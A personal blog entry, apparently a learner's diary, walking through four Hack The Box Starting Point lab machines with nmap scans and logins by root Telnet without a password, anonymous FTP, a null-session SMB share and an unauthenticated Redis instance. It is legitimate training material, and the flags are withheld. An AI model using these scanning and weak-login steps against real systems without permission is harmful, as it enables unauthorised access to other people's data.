Andres Diaz

andres@diaz:~$ whoami

Andres Diaz

Defect Reproduction Engineer at Filevine

andresdiaztech@gmail.com

LinkedIn GitHub Blog



andres@diaz:~/blog$ cat day-06.md

cd ..

Day 06: My first Hack The Box machines

Day 06 ยท Oct 22, 2026

Today in one line

I connected to Hack The Box (HTB) with OpenVPN and solved all four Starting Point Tier 0 boxes: Meow (Telnet with no password), Fawn (anonymous FTP), Dancing (an open SMB share) and Redeemer (a Redis database on an unusual port).

Meow: Telnet (23)

kali@kali: ~
$sudo nmap -sn 10.129.110.247
Host is up (0.080s latency).
# -sn only says the host is up, no ports, so I ran a real service scan
$sudo nmap -sC -sV -T4 10.129.110.247
PORT STATE SERVICE VERSION
23/tcp open telnet Linux telnetd
# one open port, 23 (Telnet), so that service is the way in
$telnet 10.129.110.247
Connected to 10.129.110.247.
Meow login: root
root@Meow:~#
# logged in as root with no password
$ls
flag.txt snap
$cat flag.txt
# flag hidden, HTB asks people not to publish flags

Fawn: FTP (21)

kali@kali: ~
$nmap -sC -sV 10.129.110.86
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 32 Jun 04 2021 flag.txt
# 21 (FTP), and anonymous login is allowed
$ftp 10.129.110.86
Name: anonymous
230 Login successful.
ftp> ls
-rw-r--r-- 1 0 0 32 Jun 04 2021 flag.txt
ftp> get flag.txt
226 Transfer complete.
# get downloads the file so I can read it locally, quit leaves ftp
ftp> quit
$cat flag.txt
# flag hidden, HTB asks people not to publish flags

Dancing: SMB (445)

kali@kali: ~
$smbclient -L 10.129.111.36
Sharename Type Comment
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
WorkShares Disk
# ADMIN$, C$ and IPC$ are built-in. WorkShares is the custom share, so that is my target
# -L only lists shares, to open one I connect to its path with //ip/share
$smbclient //10.129.111.36/WorkShares
Password:
smb: \> ls
Amy.J D
James.P D
# the D means directory, so I cd in instead of using get
smb: \> cd Amy.J
smb: \> ls
worknotes.txt A
smb: \> cd ..
smb: \> cd James.P
smb: \> ls
flag.txt A
smb: \> get flag.txt
smb: \> quit
$cat flag.txt
# flag hidden, HTB asks people not to publish flags

Redeemer: Redis (6379)

kali@kali: ~
$nmap -sC -sV --top-ports 1000 10.129.110.178
All 1000 scanned ports are in ignored states.
# nothing in the top 1000 ports, so the service must be on a higher one
$nmap -sC -sV --top-ports 10000 10.129.110.178
6379/tcp open redis Redis key-value store 5.0.7
# 6379 (Redis). it is not in the top 1000, which is why the first scan found nothing
$redis-cli -h 10.129.110.178 -p 6379
# redis-cli needs -h for the host and -p for the port, or it just tries my own machine
10.129.110.178:6379> KEYS *
1) "numb"
2) "flag"
3) "temp"
4) "stor"
# KEYS * lists every key, and one is called flag
10.129.110.178:6379> GET flag
# flag hidden, HTB asks people not to publish flags

What I learned

1. The basic flow for a box.
Find the open port, identify the service and version, connect to that service, then try default or weak logins like admin, root or anonymous. On an easy box that can be the whole thing.

2. When to reach for which scan.
-sn only tells me a host is up, with no ports. The real information came from a service scan (-sC -sV). Redeemer taught me why -p- (or at least more ports) matters: its Redis port, 6379, is not in the top 1000, so my normal scan found nothing until I scanned wider. The full breakdown is in my Nmap Flags note.

3. Anonymous FTP and the basic FTP commands.
Some FTP (File Transfer Protocol) servers let you log in as "anonymous" with no account, often with a blank password. Connecting is just ftp <ip>. Once in, ls lists files, get <file> downloads a file to my own machine so I can read it, and quit leaves the ftp prompt.

4. SMB shares with smbclient.
smbclient -L <ip> lists the shares. To open one I connect to its path: smbclient //<ip>/<share>. The ADMIN$, C$ and IPC$ shares are built-in and need real credentials, so the custom-named share is usually the target. A blank password can work (a null session). Inside, it browses like FTP: cd, ls, get, quit, and a D next to a name means it is a directory.

5. Redis and redis-cli.
Redis is an in-memory key-value database. To connect I use redis-cli -h <ip> -p 6379 (without -h it just tries my own machine). Once in, KEYS * lists every key, GET <key> reads a key's value, and INFO shows server details, including the # Keyspace section that tells me which databases hold data.

I pulled these service commands together in one place: Service Commands.

Next up

  • Start Hack The Box (HTB) Starting Point Tier 1
  • Get back to enumerating the SMB (Server Message Block) version on my Kioptrix box